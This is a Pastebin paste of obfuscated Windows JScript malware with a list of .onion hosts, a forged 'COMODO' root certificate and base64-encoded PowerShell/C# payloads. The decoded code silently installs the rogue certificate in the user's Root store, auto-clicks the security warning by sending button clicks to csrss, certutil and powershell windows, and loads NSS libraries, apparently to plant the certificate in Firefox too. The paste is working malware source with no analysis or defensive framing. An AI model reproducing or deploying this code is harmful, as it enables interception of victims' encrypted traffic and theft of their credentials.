Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var hajL=null;
- var EwuiIaEpfW=null;
- var uDsmTvxqmi=null;
- var SfDYSWjMtqZdc = new ActiveXObject("WScript.Shell");
- var BqWe = new ActiveXObject("Scripting.FileSystemObject");
- var BINARY_STREAM_TYPE = 1;
- var TEXT_STREAM_TYPE = 2;
- var CREATE_OVERWRITE_SAVE_MODE = 2;
- var uEbyxL=SfDYSWjMtqZdc.ExpandEnvironmentStrings("%TEMP%");
- var jYSszGucQQBPCdR=SfDYSWjMtqZdc.ExpandEnvironmentStrings("%APPDATA%");
- var zyvmLDGRkV=SfDYSWjMtqZdc.ExpandEnvironmentStrings("%COMPUTERNAME%");
- var ZbisOc=uEbyxL+"\\"+zyvmLDGRkV+".log";
- var NRmtSlqPg={
- SDOFNoZOAPx: ["yzpayb4sqad7gnin.onion", "bozuniy4sgprvinf.onion", "qr5c2etn6x5lhhfc.onion", "77gxepg2d34nfoid.onion"],
- dozVKbPFE: "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",
- DOfLfSvBzZqfn: "ZnVuY3Rpb24gZXdPewpBZGQtVHlwZSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLlNlY3VyaXR5LkNyeXB0"+
- "b2dyYXBoeS5YNTA5Q2VydGlmaWNhdGVzOwp1c2luZyBTeXN0ZW0uVGhyZWFkaW5nOwoKcHVibGljIHN0YXRpYyBjbGFzcyBEUnVyWlhrUWpSCnsKCXB1YmxpYyBjbGFzcyBRZERKeWQKICAgIHsKICAgICAgICBwdWJsaWMgc3RyaW5nIFduZGNsYXNzOwogICAgICAg"+
- "IHB1YmxpYyBzdHJpbmcgVGl0bGU7CiAgICAgICAgcHVibGljIHN0cmluZyBQcm9jZXNzOwogICAgICAgIHB1YmxpYyBJbnRQdHIgaFduZDsKICAgIH0KCiAgICBwcml2YXRlIGRlbGVnYXRlIGJvb2wgaVdaSHFsQ2FaZVdMKEludFB0ciBoV25kLCByZWYgUWRESnlk"+
- "IGRhdGEpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIFtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQogICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bVdpbmRvd3MoaVdaSHFsQ2FaZVdMIGxwRW51bUZ1bmMs"+
- "IHJlZiBRZERKeWQgZGF0YSk7CgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBHZXRDbGFzc05hbWUoSW50UHRyIGhXbmQsIFN0"+
- "cmluZ0J1aWxkZXIgbHBDbGFzc05hbWUsIGludCBuTWF4Q291bnQpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHB1YmxpYyBzdGF0aWMgZXh0ZXJuIGludCBHZXRX"+
- "aW5kb3dUZXh0KEludFB0ciBoV25kLCBTdHJpbmdCdWlsZGVyIGxwU3RyaW5nLCBpbnQgbk1heENvdW50KTsKCQoJW0RsbEltcG9ydCgidXNlcjMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQoJc3RhdGljIGV4dGVy"+
- "biB1aW50IEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZChJbnRQdHIgaFduZCwgb3V0IHVpbnQgbHBkd1Byb2Nlc3NJZCk7CgkKCVtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KCVtyZXR1cm46IE1hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkJvb2wpXQoJc3RhdGljIGV4"+
- "dGVybiBib29sIFNldEZvcmVncm91bmRXaW5kb3coSW50UHRyIGhXbmQpOwoJCglwdWJsaWMgZGVsZWdhdGUgYm9vbCBRR1FsTkl0KEludFB0ciBod25kLCBJbnRQdHIgbFBhcmFtKTsKCQoJW0RsbEltcG9ydCgidXNlcjMyIildCglbcmV0dXJuOiBNYXJzaGFsQXMo"+
- "VW5tYW5hZ2VkVHlwZS5Cb29sKV0KCXB1YmxpYyBzdGF0aWMgZXh0ZXJuIGJvb2wgRW51bUNoaWxkV2luZG93cyhJbnRQdHIgd2luZG93LCBRR1FsTkl0IGNhbGxiYWNrLCBJbnRQdHIgbFBhcmFtKTsgIAoJCglbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIiwgQ2hhclNl"+
- "dCA9IENoYXJTZXQuQXV0byldCglzdGF0aWMgZXh0ZXJuIEludFB0ciBTZW5kTWVzc2FnZShJbnRQdHIgaFduZCwgVUludDMyIE1zZywgSW50UHRyIHdQYXJhbSwgSW50UHRyIGxQYXJhbSk7CgkKCVtGbGFnc10KICAgIHByaXZhdGUgZW51bSBTbmFwc2hvdEZsYWdz"+
- "IDogdWludAogICAgewogICAgSGVhcExpc3QgPSAweDAwMDAwMDAxLAogICAgUHJvY2VzcyA9IDB4MDAwMDAwMDIsCiAgICBUaHJlYWQgPSAweDAwMDAwMDA0LAogICAgTW9kdWxlID0gMHgwMDAwMDAwOCwKICAgIE1vZHVsZTMyID0gMHgwMDAwMDAxMCwKICAgIElu"+
- "aGVyaXQgPSAweDgwMDAwMDAwLAogICAgQWxsID0gMHgwMDAwMDAxRiwKICAgIE5vSGVhcHMgPSAweDQwMDAwMDAwCiAgICB9CiAgICAvL2lubmVyIHN0cnVjdCB1c2VkIG9ubHkgaW50ZXJuYWxseQogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRp"+
- "YWwsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgcHJpdmF0ZSBzdHJ1Y3QgUFJPQ0VTU0VOVFJZMzIKICAgIHsKICAgIGNvbnN0IGludCBNQVhfUEFUSCA9IDI2MDsKICAgIGludGVybmFsIFVJbnQzMiBkd1NpemU7CiAgICBpbnRlcm5hbCBVSW50MzIgY250"+
- "VXNhZ2U7CiAgICBpbnRlcm5hbCBVSW50MzIgdGgzMlByb2Nlc3NJRDsKICAgIGludGVybmFsIEludFB0ciB0aDMyRGVmYXVsdEhlYXBJRDsKICAgIGludGVybmFsIFVJbnQzMiB0aDMyTW9kdWxlSUQ7CiAgICBpbnRlcm5hbCBVSW50MzIgY250VGhyZWFkczsKICAg"+
- "IGludGVybmFsIFVJbnQzMiB0aDMyUGFyZW50UHJvY2Vzc0lEOwogICAgaW50ZXJuYWwgSW50MzIgcGNQcmlDbGFzc0Jhc2U7CiAgICBpbnRlcm5hbCBVSW50MzIgZHdGbGFnczsKICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbFRTdHIsIFNpemVDb25z"+
- "dCA9IE1BWF9QQVRIKV0KICAgIGludGVybmFsIHN0cmluZyBzekV4ZUZpbGU7CiAgICB9CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQu"+
- "QXV0byldCiAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDcmVhdGVUb29saGVscDMyU25hcHNob3QoW0luXVVJbnQzMiBkd0ZsYWdzLCBbSW5dVUludDMyIHRoMzJQcm9jZXNzSUQpOwoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1"+
- "ZSwgQ2hhclNldCA9IFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5DaGFyU2V0LkF1dG8pXQogICAgc3RhdGljIGV4dGVybiBib29sIFByb2Nlc3MzMkZpcnN0KFtJbl1JbnRQdHIgaFNuYXBzaG90LCByZWYgUFJPQ0VTU0VOVFJZMzIgbHBwZSk7CgogICAg"+
- "W0RsbEltcG9ydCgia2VybmVsMzIiLCBTZXRMYXN0RXJyb3IgPSB0cnVlLCBDaGFyU2V0ID0gU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkNoYXJTZXQuQXV0byldCiAgICBzdGF0aWMgZXh0ZXJuIGJvb2wgUHJvY2VzczMyTmV4dChbSW5dSW50UHRyIGhT"+
- "bmFwc2hvdCwgcmVmIFBST0NFU1NFTlRSWTMyIGxwcGUpOwoKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICBbcmV0dXJuOiBNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5Cb29sKV0KICAgIHByaXZhdGUgc3RhdGljIGV4"+
- "dGVybiBib29sIENsb3NlSGFuZGxlKFtJbl0gSW50UHRyIGhPYmplY3QpOwogICAgCgljb25zdCBpbnQgQk1fQ0wgPSAweDAwRjU7CgkKCXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHZQcGRBZEVIaEooU3RyaW5nIHNDZXJ0KQogICAgewoJCXJldHVybiBDb252ZXJ0LkZy"+
- "b21CYXNlNjRTdHJpbmcoc0NlcnQpOwogICAgfQogICAgICAgIAoJcHVibGljIHN0YXRpYyB2b2lkIHNlbU5Dam8oU3RyaW5nIHNDZXJ0KXsKCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIltXaW4zMl06OlN0YXJ0KCkiKTsKICAgICAgICBieXRlW10gYkNlcnQg"+
- "PSB2UHBkQWRFSGhKKHNDZXJ0KTsKICAgICAgICBpZiAoYkNlcnQgIT0gbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIFg1MDlDZXJ0aWZpY2F0ZTIgY2VydGlmaWNhdGUgPSBuZXcgWDUwOUNlcnRpZmljYXRlMihiQ2VydCk7CiAgICAgICAgICAgIFg1MDlTdG9y"+
- "ZSBzdG9yZSA9IG5ldyBYNTA5U3RvcmUoU3RvcmVOYW1lLlJvb3QsIFN0b3JlTG9jYXRpb24uQ3VycmVudFVzZXIpOwogICAgICAgICAgICBzdG9yZS5PcGVuKE9wZW5GbGFncy5SZWFkV3JpdGUpOwogICAgICAgICAgICBpZiAoIXN0b3JlLkNlcnRpZmljYXRlcy5D"+
- "b250YWlucyhjZXJ0aWZpY2F0ZSkpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIFRocmVhZCB0aHJlYWQgPSBuZXcgVGhyZWFkKGNOWGV6TlpiU3cpOwogICAgICAgICAgICAgICAgdGhyZWFkLlN0YXJ0KCk7CiAgICAgICAgICAgICAgICBzdG9yZS5BZGQo"+
- "Y2VydGlmaWNhdGUpOwogICAgICAgICAgICAgICAgdGhyZWFkLkpvaW4oKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBzdG9yZS5DbG9zZSgpOwogICAgICAgIH0KCX0KCQoJcHVibGljIHN0YXRpYyB2b2lkIGNOWGV6TlpiU3coKQoJewoJCVN5c3RlbS5Db25z"+
- "b2xlLldyaXRlTGluZSgiW1dpbjMyXTo6U2VhcmNoRGlhbG9nKCkiKTsKCQlJbnRQdHIgaFduZDsKCQlkb3sKCQkJaFduZCA9IHFpdygiIzMyNzcwIixTdHJpbmcuRW1wdHkpOwoJCQlpZiAoIWhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSkKCQkgICAgewoJCQkJU3lz"+
- "dGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJGb3VuZGVkIGhXbmQ9MHh7MDpYfSIsaFduZCk7CgkJICAgIAlicmVhazsKCQkJfWVsc2UKCSAgICAgICAgewoJCQkJaFduZD1JbnRQdHIuWmVybzsKCQkJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiVHJ5IGFnYWluIGZp"+
- "bmQgd2luZG93Iik7CgkgICAgICAgIH0KCQl9d2hpbGUgKGhXbmQuRXF1YWxzKEludFB0ci5aZXJvKSk7CgkJU3lzdGVtLkNvbnNvbGUuV3JpdGVMaW5lKCJEaWFsb2cgd2luZG93IGZvdW5kZWQiKTsKCQlTZXRGb3JlZ3JvdW5kV2luZG93KGhXbmQpOwoJCVFHUWxO"+
- "SXQgY2hpbGRQcm9jID0gbmV3IFFHUWxOSXQodWxteHhEKTsKCQlFbnVtQ2hpbGRXaW5kb3dzKGhXbmQsIGNoaWxkUHJvYywgSW50UHRyLlplcm8pOwoJfQoJCglwdWJsaWMgc3RhdGljIEludFB0ciBxaXcoc3RyaW5nIHduZGNsYXNzLCBzdHJpbmcgdGl0bGUpCiAg"+
- "ICB7CiAgICAgICAgUWRESnlkIHNkID0gbmV3IFFkREp5ZCgpOwogICAgICAgIHNkLlduZGNsYXNzID0gd25kY2xhc3M7CiAgICAgICAgc2QuVGl0bGUgPSB0aXRsZTsKCQlzZC5oV25kPUludFB0ci5aZXJvOwoJCVN5c3RlbS5Db25zb2xlLldyaXRlTGluZSgiRW51"+
- "bVdpbmRvdyAtfCIpOwogICAgICAgIEVudW1XaW5kb3dzKG5ldyBpV1pIcWxDYVplV0woYUpITURyZG9FRiksIHJlZiBzZCk7CiAgICAgICAgcmV0dXJuIHNkLmhXbmQ7CiAgICB9CiAgICAKCXB1YmxpYyBzdGF0aWMgYm9vbCBhSkhNRHJkb0VGKEludFB0ciBoV25k"+
- "LCByZWYgUWRESnlkIGRhdGEpCiAgICB7CiAgICAJU3RyaW5nQnVpbGRlciB0aXRsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKDEwMjQpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgY2xhc3NOYW1lID0gbmV3IFN0cmluZ0J1aWxkZXIoMTAyNCk7CiAgICAgICAgR2V0V2lu"+
- "ZG93VGV4dChoV25kLCB0aXRsZSwgdGl0bGUuQ2FwYWNpdHkpOwogICAgICAgIEdldENsYXNzTmFtZShoV25kLCBjbGFzc05hbWUsIGNsYXNzTmFtZS5DYXBhY2l0eSk7CiAgICAgICAgU3RyaW5nIHNFTj1Qa1RTVHFxUVByaHdDKGhXbmQpLlRvTG93ZXIoKTsKCQlp"+
- "ZigoIWRhdGEuV25kY2xhc3MuRXF1YWxzKFN0cmluZy5FbXB0eSkgJiYgY2xhc3NOYW1lLlRvU3RyaW5nKCkuU3RhcnRzV2l0aChkYXRhLlduZGNsYXNzKSkgfHwgKCFkYXRhLlRpdGxlLkVxdWFscyhTdHJpbmcuRW1wdHkpICYmIHRpdGxlLlRvU3RyaW5nKCkuU3Rh"+
- "cnRzV2l0aChkYXRhLlRpdGxlKSkpCgkJewoJCQlTeXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgICAgICAgIHwtIGhXbmQ9MHh7MDpYfTsgQ2xhc3M9ezF9OyBUaXRsZT17Mn07IFByb2Nlc3M9ezN9IixoV25kLGNsYXNzTmFtZS5Ub1N0cmluZygpLHRpdGxl"+
- "LlRvU3RyaW5nKCksc0VOKTsKICAgICAgICAJaWYoc0VOLkNvbnRhaW5zKCJjc3JzcyIpIHx8IHNFTi5Db250YWlucygiY2VydHV0aWwiKSAgfHwgc0VOLkNvbnRhaW5zKCJwb3dlcnNoZWxsIikpCgkgICAgICAgIHsKCQkgICAgICAgIGRhdGEuaFduZCA9IGhXbmQ7"+
- "CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CgkgICAgICAgIH0KICAgICAgICB9CiAgICAgICAJCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgCglwdWJsaWMgc3RhdGljIFN0cmluZyBQa1RTVHFxUVByaHdDKEludFB0ciBHZ2VJd1hWYyl7CgkJdWlu"+
- "dCBoSnZOa0V5ZSA9IDA7CgkJdWludCB0aHJlYWRJRCA9IEdldFdpbmRvd1RocmVhZFByb2Nlc3NJZChHZ2VJd1hWYywgb3V0IGhKdk5rRXllKTsKCQlTdHJpbmcgc1Byb2MgPSBudWxsOwoJICAgIEludFB0ciBoYW5kbGVUb1NuYXBzaG90ID0gSW50UHRyLlplcm87"+
- "CgkgICAgdHJ5CgkgICAgewoJICAgICAgICBQUk9DRVNTRU5UUlkzMiBDU2FyWFdubnF0TUNabW4gPSBuZXcgUFJPQ0VTU0VOVFJZMzIoKTsKCSAgICAgICAgQ1NhclhXbm5xdE1DWm1uLmR3U2l6ZSA9IChVSW50MzIpTWFyc2hhbC5TaXplT2YodHlwZW9mKFBST0NF"+
- "U1NFTlRSWTMyKSk7CgkgICAgICAgIGhhbmRsZVRvU25hcHNob3QgPSBDcmVhdGVUb29saGVscDMyU25hcHNob3QoKHVpbnQpU25hcHNob3RGbGFncy5Qcm9jZXNzLCAwKTsKCSAgICAgICAgaWYgKFByb2Nlc3MzMkZpcnN0KGhhbmRsZVRvU25hcHNob3QsIHJlZiBD"+
- "U2FyWFdubnF0TUNabW4pKQoJICAgICAgICB7CgkgICAgICAgIGRvCgkgICAgICAgIHsKCSAgICAgICAgICAgIGlmIChoSnZOa0V5ZSA9PSBDU2FyWFdubnF0TUNabW4udGgzMlByb2Nlc3NJRCkKCSAgICAgICAgICAgIHsKCSAgICAgICAgICAgIHNQcm9jID0gQ1Nh"+
- "clhXbm5xdE1DWm1uLnN6RXhlRmlsZTsKCSAgICAgICAgICAgIGJyZWFrOwoJICAgICAgICAgICAgfQoJICAgICAgICB9IHdoaWxlIChQcm9jZXNzMzJOZXh0KGhhbmRsZVRvU25hcHNob3QsIHJlZiBDU2FyWFdubnF0TUNabW4pKTsKCSAgICAgICAgfQoJICAgICAg"+
- "ICBlbHNlCgkgICAgICAgIHsKCSAgICAgICAgCXRocm93IG5ldyBBcHBsaWNhdGlvbkV4Y2VwdGlvbihzdHJpbmcuRm9ybWF0KCJGYWlsZWQgd2l0aCB3aW4zMiBlcnJvciBjb2RlIHswfSIsIE1hcnNoYWwuR2V0TGFzdFdpbjMyRXJyb3IoKSkpOwoJICAgICAgICB9"+
- "CgkgICAgfQoJICAgIGNhdGNoIChFeGNlcHRpb24gZXgpCgkgICAgewoJICAgICAgICB0aHJvdyBuZXcgQXBwbGljYXRpb25FeGNlcHRpb24oIkNhbid0IGdldCB0aGUgcHJvY2Vzcy4iLCBleCk7CgkgICAgfQoJICAgIGZpbmFsbHkKCSAgICB7CgkgICAgICAgIENs"+
- "b3NlSGFuZGxlKGhhbmRsZVRvU25hcHNob3QpOwoJICAgIH0KCSAgICByZXR1cm4gc1Byb2M7Cgl9CglwdWJsaWMgc3RhdGljIGJvb2wgdWxteHhEKEludFB0ciBoV25kLCBJbnRQdHIgbFBhcmFtKQoJewoJCVNlbmRNZXNzYWdlKGhXbmQsIEJNX0NMLCBJbnRQdHIu"+
- "WmVybywgSW50UHRyLlplcm8pOwoJCXJldHVybiB0cnVlOwoJfQp9CiJAOwpbRFJ1clpYa1FqUl06OnNlbU5Dam8oIiVDRVJUJSIpOwpleGl0Cn0KZXdP",
- OpVKtSTwVew: "ZnVuY3Rpb24gR25BTkNUT3sKQWRkLVR5cGUgQCIKdXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIE1pY3Jvc29m"+
- "dC5XaW4zMjsKdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOwp1c2luZyBTeXN0ZW0uQ29tcG9uZW50TW9kZWw7"+
- "CgpwdWJsaWMgc2VhbGVkIGNsYXNzIFdWWEtUWUJ2cVMKewoJcHJpdmF0ZSBzdGF0aWMgdm9sYXRpbGUgV1ZYS1RZQnZxUyB5VGtr"+
- "SjsKCXByaXZhdGUgc3RhdGljIG9iamVjdCBmcnpaUFduID0gbmV3IE9iamVjdCgpOwoJcHVibGljIHN0YXRpYyBXVlhLVFlCdnFT"+
- "IG5VbmpoSXUoKQogICAgewogICAgICAgIGlmICh5VGtrSiA9PSBudWxsKQogICAgICAgIHsKICAgICAgICAgICAgbG9jayAoZnJ6"+
- "WlBXbikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYgKHlUa2tKID09IG51bGwpCiAgICAgICAgICAgICAgICB5VGtr"+
- "SiA9IG5ldyBXVlhLVFlCdnFTKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHlUa2tKOwogICAgfQoJ"+
- "Cgljb25zdCBpbnQgem90RGV6PTA7CiAgICAKICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwg"+
- "Q2hhclNldCA9IENoYXJTZXQuQW5zaSldCiAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBMb2FkTGlicmFyeShbTWFyc2hhbEFzKFVu"+
- "bWFuYWdlZFR5cGUuTFBTdHIpXXN0cmluZyBscEZpbGVOYW1lKTsKCiAgICBwcml2YXRlIHN0YXRpYyBJbnRQdHIgY2dmSmF0TFJO"+
- "TlZPQyhzdHJpbmcgbGliUGF0aCkKICAgIHsKICAgICAgICBpZiAoU3RyaW5nLklzTnVsbE9yRW1wdHkobGliUGF0aCkpCiAgICAg"+
- "ICAgICAgIHRocm93IG5ldyBBcmd1bWVudE51bGxFeGNlcHRpb24oImxpYlBhdGgiKTsKCiAgICAgICAgSW50UHRyIG1vZHVsZUhh"+
- "bmRsZSA9IExvYWRMaWJyYXJ5KGxpYlBhdGgpOwogICAgICAgIGlmIChtb2R1bGVIYW5kbGUgPT0gSW50UHRyLlplcm8pCiAgICAg"+
- "ICAgewogICAgICAgICAgICBpbnQgbGFzdGVycm9yID0gTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpOwogICAgICAgICAgICBT"+
- "eXN0ZW0uQ29uc29sZS5Xcml0ZUxpbmUoU3RyaW5nLkZvcm1hdCgiTGFzdCBlcnJvcjogMHh7MDpYfSIsbGFzdGVycm9yKSk7CiAg"+
- "ICAgICAgICAgIFdpbjMyRXhjZXB0aW9uIGlubmVyRXggPSBuZXcgV2luMzJFeGNlcHRpb24obGFzdGVycm9yKTsKICAgICAgICAg"+
- "ICAgaW5uZXJFeC5EYXRhLkFkZCgiTGFzdFdpbjMyRXJyb3IiLCBsYXN0ZXJyb3IpOwogICAgICAgICAgICB0aHJvdyBuZXcgRXhj"+
- "ZXB0aW9uKCJjYW4ndCBsb2FkIERMTCAiICsgbGliUGF0aCwgaW5uZXJFeCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiBtb2R1"+
- "bGVIYW5kbGU7CiAgICB9CgogICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICBwdWJsaWMgc3RhdGljIGV4dGVybiBJ"+
- "bnRQdHIgR2V0UHJvY0FkZHJlc3MoSW50UHRyIGhNb2R1bGUsIHN0cmluZyBwcm9jZWR1cmVOYW1lKTsKCS8vQ29uc3RhbnRzCiAg"+
- "ICBjb25zdCB1aW50IE5TU19JTklUX1JFQURPTkxZPTB4MTsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfTk9DRVJUREIgPSAweDI7"+
- "CiAgICBjb25zdCB1aW50IE5TU19JTklUX05PTU9EREIgPSAweDQ7CiAgICBjb25zdCB1aW50IE5TU19JTklUX0ZPUkNFT1BFTiA9"+
- "IDB4ODsKICAgIGNvbnN0IHVpbnQgTlNTX0lOSVRfTk9ST09USU5JVCA9IDB4MTA7CiAgICBjb25zdCB1aW50IE5TU19JTklUX09Q"+
- "VElNSVpFU1BBQ0UgPSAweDIwOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9QSzExVEhSRUFEU0FGRSA9IDB4NDA7CiAgICBjb25z"+
- "dCB1aW50IE5TU19JTklUX1BLMTFSRUxPQUQgPSAweDgwOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9OT1BLMTFGSU5BTElaRSA9"+
- "IDB4MTAwOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9SRVNFUlZFRCA9IDB4MjAwOwogICAgY29uc3QgdWludCBOU1NfSU5JVF9D"+
- "T09QRVJBVEUgPSBOU1NfSU5JVF9QSzExVEhSRUFEU0FGRSB8IE5TU19JTklUX1BLMTFSRUxPQUQgfCBOU1NfSU5JVF9OT1BLMTFG"+
- "SU5BTElaRSB8IE5TU19JTklUX1JFU0VSVkVEOwoKICAgIGNvbnN0IHN0cmluZyBTRUNNT0RfREIgPSAic2VjbW9kLmRiIjsKICAg"+
- "IC8vU3RydWN0dXJlcwogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBT"+
- "RUNJdGVtIAogICAgewogICAgICAgIHB1YmxpYyB1aW50IGlUeXBlOwogICAgICAgIHB1YmxpYyBJbnRQdHIgYkRhdGE7CiAgICAg"+
